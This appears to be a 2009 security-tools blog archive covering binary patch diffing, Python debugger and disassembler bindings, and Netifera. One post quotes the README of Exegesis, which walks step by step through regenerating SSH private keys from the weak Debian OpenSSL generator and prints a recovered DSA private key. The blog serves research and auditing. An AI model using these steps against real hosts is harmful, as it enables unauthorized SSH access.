Breaking Code

October 15, 2009

TurboDiff – a simple (and fast!) approach to binary patch diffing

Filed under: Tools — Tags: , , , , , — Mario Vilas @ 3:56 am

TurboDiff is a new IDA Pro plugin for binary patch diffing by Nicolás Economou. Binary diffing in this context means the analysis of a vendor-supplied patch (such as Microsoft Tuesday patches, for example) to find out exactly how the vulnerability it’s fixing works. This is essential in both developing an effective IDS signature (from a defensive standpoint) and a working exploit for it (from the attacker’s point of view).

As you can surely guess, doing a naive byte per byte comparison of the files before and after applying a patch simply doesn’t work. Any modern compiler performs a number of optimizations and small changes that vary from one compilation to the next – not to mention the changes introduced by changing to a new compiler version altogether. What binary diffing tools do to cope with this is analyze the semantics of the code by breaking it up into basic blocks (like IDA does to disassemble from version 5.0 and above) and matching them using one or more graph comparison algorithms. First each function needs to be identified and matched in each binary, despite of the reordering of code blocks made by the compiler. Then, each function’s basic block graph from each binary must be compared to look for differences.

This technology is not really new – there are other tools (Zynamic’s BinDiff, eEye’s DarunGrim, Tenable’s PatchDiff) and several papers published on the topic. I very much recommend to read Tyler Durden’s article on the Phrack Magazine, Julien Vanegue’s Ekoparty presentation, and the CanSecWest 2009 talk from Thomas Dullien and Sebastian Porst. There’s also a very interesting presentation at BlackHat USA 2009 by Jeongwook Oh on anti-binary diffing techniques, to thwart reverse engineers efforts to analyze patches. I’m probably forgetting something else, but Google is your friend. :)

TurboDiff, however, takes on a much more simple approach to binary diffing. While other tools are using intermediate language decompilers and very complex general purpose graph algorithms, which take a long time to run, TurboDiff applies a series of optimized heuristics tried and tested on real life examples, and custom made graph algorithms specific to the kind of output a compiler may generate. The result of this is an incredibly fast binary diffing tool: it spits out the diff in only a few seconds for a patch that other tools may take literally days to chew on! If anythink, this alone justifies it’s use: there’s so little effort involved in trying this out, you might as well look at it’s results while your other diffing tool is still working in the background… ;)

But there’s another benefit – many times I’ve seen it point out changes in a patch that some of the other differs could not find. Here’s a real life example from the Microsoft Tuesday patch for MS09-023:

Unpatched

Unpatched

Unpatched

Patched

Those are the pros, but naturally there are also cons. This tool is still on it’s first released version, so many bugfixes and improvements are to be expected in the near future. The user interface is still a bit sketchy, but nothing one can’t get quickly used to. Also, it’s mostly focused on reversing patches, while other tools may be more flexible due to the nature of the algorithms they use – most notably, BinDiff is also used for symbol porting as explained by Halvar Flake in his blog.

So, enough reading! It’s time to start reversing some patches to see and judge for yourself! :)

Download

IDA plugin with sources:

turbodiff_v1.0.1.zip

August 31, 2009

Using diStorm with Python 2.6 and Python 3.x, revisited

Filed under: Tools — Tags: , , , , , , , , , , — Mario Vilas @ 10:01 pm

In a previous post, we’ve seen how to wrap the diStorm disassembler library in Python, using ctypes. This still left us with the task of building the dynamic link library for our platform and installing it manually, which is not as easy as it may seem – among other small problems you may find, the new versions of Visual Studio try to force the use of the latest C++ runtime redistributables, which may not be present in most Windows installations.

Today, I’m introducing a new ctypes wrapper for diStorm, this time with all binaries prebuilt and packaged together. The installer script automatically detects the target platform and installs the right binary. It comes with the following prebuilt binaries:

  • Windows on x86 and AMD64 processors
  • Linux on x86 and AMD64 processors (built using Ubuntu, but should work in other distros)
  • Mac OS X on x86 and PowerPC processors (untested, I don’t have a Mac to play with yet)

Since the installer code is pretty much generic, it should be easy to add new platforms by simply creating the corresponding subdirectory and placing the python code and prebuilt binary in it. Contributions are welcome! :)

Download

Python 2.x

Python 3.x

August 5, 2009

DBG_CONTINUE vs. DBG_EXCEPTION_HANDLED

Filed under: Undocumented Windows — Tags: , , , , , , — Mario Vilas @ 2:32 am

Something odd just happened to me while trying out my debugger on Windows XP 64 bits – whenever I stepped on or traced an instruction, the instruction pointer would go back to the same instruction the first time. The second time, it worked. So I had to step twice on each instruction to debug a program.

This was clearly wrong, but I couldn’t see anything in my code that would produce that. Furthermore, in 32 bits the exact same code was working alright!

After scratching my head for a while, I went to MSDN in search of enlightment, and found this info at the help page for ContinueDebugEvent:

DBG_CONTINUE (0×00010002L): If the thread specified by the dwThreadId parameter previously reported an EXCEPTION_DEBUG_EVENT debugging event, the function stops all exception processing and continues the thread. For any other debugging event, this flag simply continues the thread.

DBG_EXCEPTION_NOT_HANDLED (0×80010001L): If the thread specified by dwThreadId previously reported an EXCEPTION_DEBUG_EVENT debugging event, the function continues exception processing. If this is a first-chance exception event, the search and dispatch logic of the structured exception handler is used; otherwise, the process is terminated. For any other debugging event, this flag simply continues the thread.

But I remembered seeing a certain DBG_EXCEPTION_HANDLED value when porting SDK constants and structures to my Win32 API wrappers. So I looked it up and it’s value turned out to be 0×00010001L, which was exactly DBG_CONTINUE minus one, so it wasn’t not just an alias but really a different value, possibly with a different meaning.

So I tried replacing DBG_CONTINUE by DBG_EXCEPTION_HANDLED when handling exceptions in my code and, what do you know, single steping and tracing began to work again!

Apparently, when handling exception events, 32 bits Windows treats DBG_CONTINUE as an alias of DBG_EXCEPTION_HANDLED, while in 64 bits Windows it’s an alias of DBG_EXCEPTION_NOT_HANDLED. This means we can’t possibly write a debugger for 64 bits without using this undocumented value! :(

Luckily for us, DBG_EXCEPTION_HANDLED seems to work well in 32 bits Windows, at least with XP (didn’t test Windows 2000 yet), so the same code may be used for all versions of Windows. It also works with current versions of Wine, judging from this commit from 2005.

Speaking of Wine, browsing through the sources I found several other “undocumented” status codes:

  • DBG_TERMINATE_PROCESS
  • DBG_TERMINATE_THREAD
  • DBG_CONTROL_C
  • DBG_CONTROL_BREAK
  • DBG_COMMAND_EXCEPTION

However the last three don’t seem to be supported by Windows XP, as shown in the following disassembly of NTOSKRNL.EXE:

NtDebugContinue

That still leaves us with two new undocumented status codes to play with :)

June 16, 2009

WinAppDbg version 1.2 is out!

Filed under: Tools — Tags: , , , , , , , , , , , , — Mario Vilas @ 7:23 pm

What is WinAppDbg?

The WinAppDbg python module allows developers to quickly code instrumentation scripts in Python under a Windows environment.

It uses ctypes to wrap many Win32 API calls related to debugging, and provides an object-oriented abstraction layer to manipulate threads, libraries and processes, attach your script as a debugger, trace execution, hook API calls, handle events in your debugee and set breakpoints of different kinds (code, hardware and memory). Additionally it has no native code at all, making it easier to maintain or modify than other debuggers on Windows.

The intended audience are QA engineers and software security auditors wishing to test / fuzz Windows applications with quickly coded Python scripts. Several ready to use utilities are shipped and can be used for this purposes.

Current features also include disassembling x86 native code (using the open source diStorm project), debugging multiple processes simultaneously and produce a detailed log of application crashes, useful for fuzzing and automated testing.

Where can I find WinAppDbg?

The WinAppDbg project is currently hosted at Sourceforge, and can be found at:

http://winappdbg.sourceforge.net/

It’s also hosted at the Python Package Index (PyPi):

http://pypi.python.org/pypi/winappdbg/1.2

May 28, 2009

Exegesis – A toolkit for abusing the broken PRNG in Debian OpenSSL

Filed under: Tools — Tags: , , , , , — Mario Vilas @ 9:05 pm

A new tool has just been released to exploit the Debian OpenSSL bug, it’s called Exegesis. It seems very interesing, it’s more complete and flexible than all of the existing ones. Definitely worth checking out!

Let’s see the description from it’s webpage:

Exegesis
--------

So you have an ssh public authentication key and you 'lost' the
private key.  Did you generate that key in the last two years on
Debian or Ubuntu GNU/Lunix?  Yes?  Ok, great.  

$ cat id_dsa.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAIW0doTjIKPNwAjHogbLhXNxNlwdvHHKzFPgZ
5cpwF4a2e8YYlEyXo8gyoub5c2s0f8B61ZNkowc9tcN+Iy1aiE2LBloxds3IwWNpZ
8KnJruCX/mYbltUp3CNJP/8gmeL41akUddPJ5wg6pYjDY5z7Kd9lojhqKOn3qSPXZ
JDJXJAAAAFQDZMKlBeKVX9/FCO5auyzPHxn6QnwAAAIBULtChrN1rGfAjIU8VZwQa
rQNunGFDfstWNOcx0lvAm2DkQCVCFT8DUXlibHWQJJbeMk3DfOl02ItIAhMvTTAPM
rb8vtFsB3Fcw7KAuK0cAJaY3R2S6/tBbWXch7SaaOQ4dxa+8hmEl54icW/me0H6Z0
SEDYEm3j8pnAUnPAu/pgAAAIALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVh
wCbpBqSqiYxZO/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORRE
umPRs6buJ4GMf33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFIm
A== lamer@gnubuntu

First you'll need the fingerprint.

$ ssh-keygen -l -f ./id_dsa.pub
1024 b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c ./id_dsa.pub

Now look for that fingerprint in the generated fingerprint database
files.  You can just use 'grep' for this.

$ grep b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c dsa_1024_32_le.out
b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c 25191 dsa 1024 32 0

Oh, it's your lucky day!  You're on the list.

The fingerprint database files have the following format:

  fingerprint pid key_type key_bits arch big_endian

  pid        The process id of the ssh-keygen which originally generated the key
  key_type   Either 'dsa' or 'rsa' depending on the type of key
  key_bits   The size of the key.  1024 and 2048 are common.
  arch       Either 32 or 64 depending on the processor which the key was created on
  big_endian Is 1 if the key was generated on a big endian box or 0 otherwise

So, the key we matched is a 1024 bit DSA key, generated on a 32 bit little endian
processor.  That sounds about right.

$ ./exegesis
Usage: ./exegesis [options]
Options:
  -B            Select big endian target (default is little endian target).
  -A            Selecet 64 bit target (default is 32 bit target)
  -o <file>     Output file.
  -t (dsa|rsa)  Type of key(s) to generate (default is rsa)
  -b bits       Key size to generate in bits (default is 1024 bits)
  -g            Generate all keys for a range of pids (all pids by default)
  -r start,end  Specify a pid range to generate (default is 1,32768)
  -p pid        Generate a key for a chosen pid value

$ ./exegesis -t dsa -b 1024 -p 25191
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCFtHaE4yCjzcAIx6IGy4VzcTZcHbxxysxT4GeXKcBeGtnvGGJR
Ml6PIMqLm+XNrNH/AetWTZKMHPbXDfiMtWohNiwZaMXbNyMFjaWfCpya7gl/5mG5
bVKdwjST//IJni+NWpFHXTyecIOqWIw2Oc+ynfZaI4aijp96kj12SQyVyQIVANkw
qUF4pVf38UI7lq7LM8fGfpCfAoGAVC7QoazdaxnwIyFPFWcEGq0DbpxhQ37LVjTn
MdJbwJtg5EAlQhU/A1F5Ymx1kCSW3jJNw3zpdNiLSAITL00wDzK2/L7RbAdxXMOy
gLitHACWmN0dkuv7QW1l3Ie0mmjkOHcWvvIZhJeeInFv5ntB+mdEhA2BJt4/KZwF
JzwLv6YCgYALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVhwCbpBqSqiYxZO
/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORREumPRs6buJ4GM
f33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFImAIUQOZiUdQQ
YO/Yg/6nRo4hghj28Tg=
-----END DSA PRIVATE KEY-----

Whoah?! Is that really the private key?  Let's compare it to the
original key generated with ssh-keygen

$ ./exegesis -t dsa -b 1024 -p 25191 > key.out
$ md5sum id_dsa key.out
0aa477a9a01c6724708f9f362bcf0f7d  id_dsa
0aa477a9a01c6724708f9f362bcf0f7d  key.out

Generating Databases
--------------------

$ ./exegesis -g -t dsa -b 1024 -o dsa_1024_32_le.out

Unlike inferior competing products, Exegesis models the backdoored PRNG
in Debian OpenSSL.  It uses a version of the OpenSSL random number and
key generating code that can be configured to behave like any of the
hardware platforms that affect the generated random numbers.

This means you can generate databases for each different relevant hardware
configuration without actually needing to run it on those architectures.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

WARNING: Generating your own databases takes a very long time and may
         cause side effects such as acute boredom and drowsiness.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Since we know you're anxious to get started recovering all those misplaced
private SSH keys, this release of Exegesis conveniently includes, right out
of the box, ten starter databases at no extra charge!

$ md5 keysets/*
MD5 (keysets/dsa_1024_32_be.out) = d422aa60e3d6180ec65adb7179ebe43d
MD5 (keysets/dsa_1024_32_le.out) = d6f1e5f4d5dd9e84a05de47cc9e0e81a
MD5 (keysets/dsa_1024_64_le.out) = 89d34fe52f083c7e0c2297c2d8439bbc
MD5 (keysets/dsa_2048_32_le.out) = b81ca4cd84613c0fa19056036153fc62
MD5 (keysets/dsa_2048_64_le.out) = f914df33f27a11d7b2ab06446c6c13ec
MD5 (keysets/rsa_1024_32_be.out) = f5a13ffcbc63206d1c90850e2ad2e052
MD5 (keysets/rsa_1024_32_le.out) = 082b47d57e1d77366ce3795359926440
MD5 (keysets/rsa_1024_64_le.out) = 18c80767c00db8130da8a77f7e81f448
MD5 (keysets/rsa_2048_32_le.out) = 977b88495603c860abbd48a47847065a
MD5 (keysets/rsa_2048_64_le.out) = dcdd098089281388e1c3bc935dec5b7e

ps:

This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)

Download

May 27, 2009

Using diStorm with Python 2.6 and Python 3.x

Filed under: Tools — Tags: , , , , , , , — Mario Vilas @ 12:14 am

diStorm is currently my favorite disassember for Intel platforms. It’s small, fast, compiles virtually anywhere, and it’s got Python bindings for 2.3, 2.4 and 2.5. The only problem so far was trying to use it with Python 2.6 and above – the library has to be recompiled for each new version. To solve this problem a pure Python module using ctypes is shipped – but it’s interface is different from the C module, forcing us to code different routines.

So my solution was to code my own ctypes-based diStorm bindings. It’s compatible with the C version and it works in all Python 2.x versions. The DLL library has to be present in the path for it to work.

I’ve also ported it to Python 3.x. Both versions are tested under Windows only, however it should work correctly under Linux – let me know if you try it!

Here is also an example script using diStorm to disassemble a raw binary file. Could come in handy for example to disassemble the shellcode contained in an exploit, or to find anything that resembles shellcode in a packet capture.


Updated: Here is a new version that supports more platforms and comes with an installer script.

Download links (for Python 2.x)

Download links (for Python 3.x)

May 18, 2009

WinAppDbg 1.1 released

Filed under: Tools — Tags: , , , , , , , , , , , , — Mario Vilas @ 1:18 am

New version of WinAppDbg!

New features include:

  • New tool: a simple command line debugger that supports plugins.
  • Added support for Microsoft debugging symbols.
  • Added support for py2exe, to generate standalone executables.
  • New Win32 API functions added to win32.py
  • Improvements to the breakpoints support, now “stalking” works for memory buffers and variables too.

This new version contains some bugfixes, so if you were using 1.0 I very much recommend to upgrade.

Download

April 21, 2009

Python WinAppDbg module v1.0 is out!

Filed under: Tools — Tags: , , , , , , , , , , — Mario Vilas @ 4:51 pm

What is WinAppDbg?

The WinAppDbg python module allows developers to quickly code instrumentation scripts in Python under a Windows environment.

It uses ctypes to wrap many Win32 API calls related to debugging, and provides an object-oriented abstraction layer to manipulate threads, libraries and processes, attach your script as a debugger, trace execution, hook API calls, handle events in your debugee and set breakpoints of different kinds (code, hardware and memory). Additionally it has no native code at all, making it easier to maintain or modify than other debuggers on Windows.

The intended audience are QA engineers and software security auditors wishing to test / fuzz Windows applications with quickly coded Python scripts. Several ready to use utilities are shipped and can be used for this purposes.

Current features also include disassembling x86 native code (using the open source diStorm project), debugging multiple processes simultaneously and produce a detailed log of application crashes, useful for fuzzing and automated testing.

Where can I find WinAppDbg?

The winappdbg project is currently hosted at Sourceforge, and can be found at:

http://winappdbg.sourceforge.net/

March 23, 2009

Netifera 1.0 released!

Filed under: Tools — Tags: , , , , , , , — Mario Vilas @ 9:23 am

After a long wait, Netifera version 1.0 was released. I talked about this tool in a previous post. The feature list seems to have remained pretty much the same, with some new bruteforcing modules – most notably the remote OS and architecture detection was drastically improved, and as expected contains many bugfixes compared to the previous betas.

Here’s the full feature list:

Tools

  • Full IPv6 support
  • TCP and UDP network scanning
  • Service detection
  • Operating system identification
  • Reverse DNS scanning
  • DNS name brute forcing
  • DNS zone transfer information gathering
  • Geographical information about network addresses
  • Authentication brute force attack (against HTTP, FTP,IMAP and POP3)
  • Web crawler discovers applications, collects email addresses and adds the site structure to the model
  • Integrated terminal for connecting to and interacting with network services

Passive Tools

  • Modular packet capture service
  • Capture packets on multiple interfaces simultaneously
  • Parse ’pcap’ format capture files as input to sniffing modules
  • HTTP traffic analysis
  • DNS information gathering from captured responses
  • Network stack fingerprinting
  • Service detection from captured banners and protocol packets
  • Client application detection
  • Credential sniffing for many protocols

Data Model

All information discovered by the netifera platform is persistently
stored in a workspace database. Our extension design allows for
developers to easily create their own data types and integrate them
into the platform.

User Interface

The platform provides an intuitive and professional quality graphical
user interface for using the tools written for our platform and
navigating the information they produce. Different tasks in our
application such as sniffing information from the network, or actively
collecting information by scanning networks, or exploring the local
environment of a remotely deployed probe (coming soon! ) each have a
specialized configuration of the user interface called a ’perspective’

Programming API

The netifera platform brings together high quality programming APIs
for tasks such as:

High performance asynchronous socket connection and communication
Link level packet capture and raw socket injection
802.11 monitor mode packet capture and injection (coming soon! )
Network protocol header construction and analysis (ethernet, ip, tcp, etc…)
Application layer protocol libraries (http, dns, ftp, etc…)

February 6, 2009

Manipulating windows belonging to other processes

Filed under: Tools — Tags: , , , , — Mario Vilas @ 4:51 pm

Hello again. :)

Here’s a Python script that can be used to write Windows UI fuzzers and testers. It requires the win32 python extensions that can be downloaded from here (already included in the ActiveState distribution).

Enjoy!

Download the code: Window.py

Older Posts »

Blog at WordPress.com.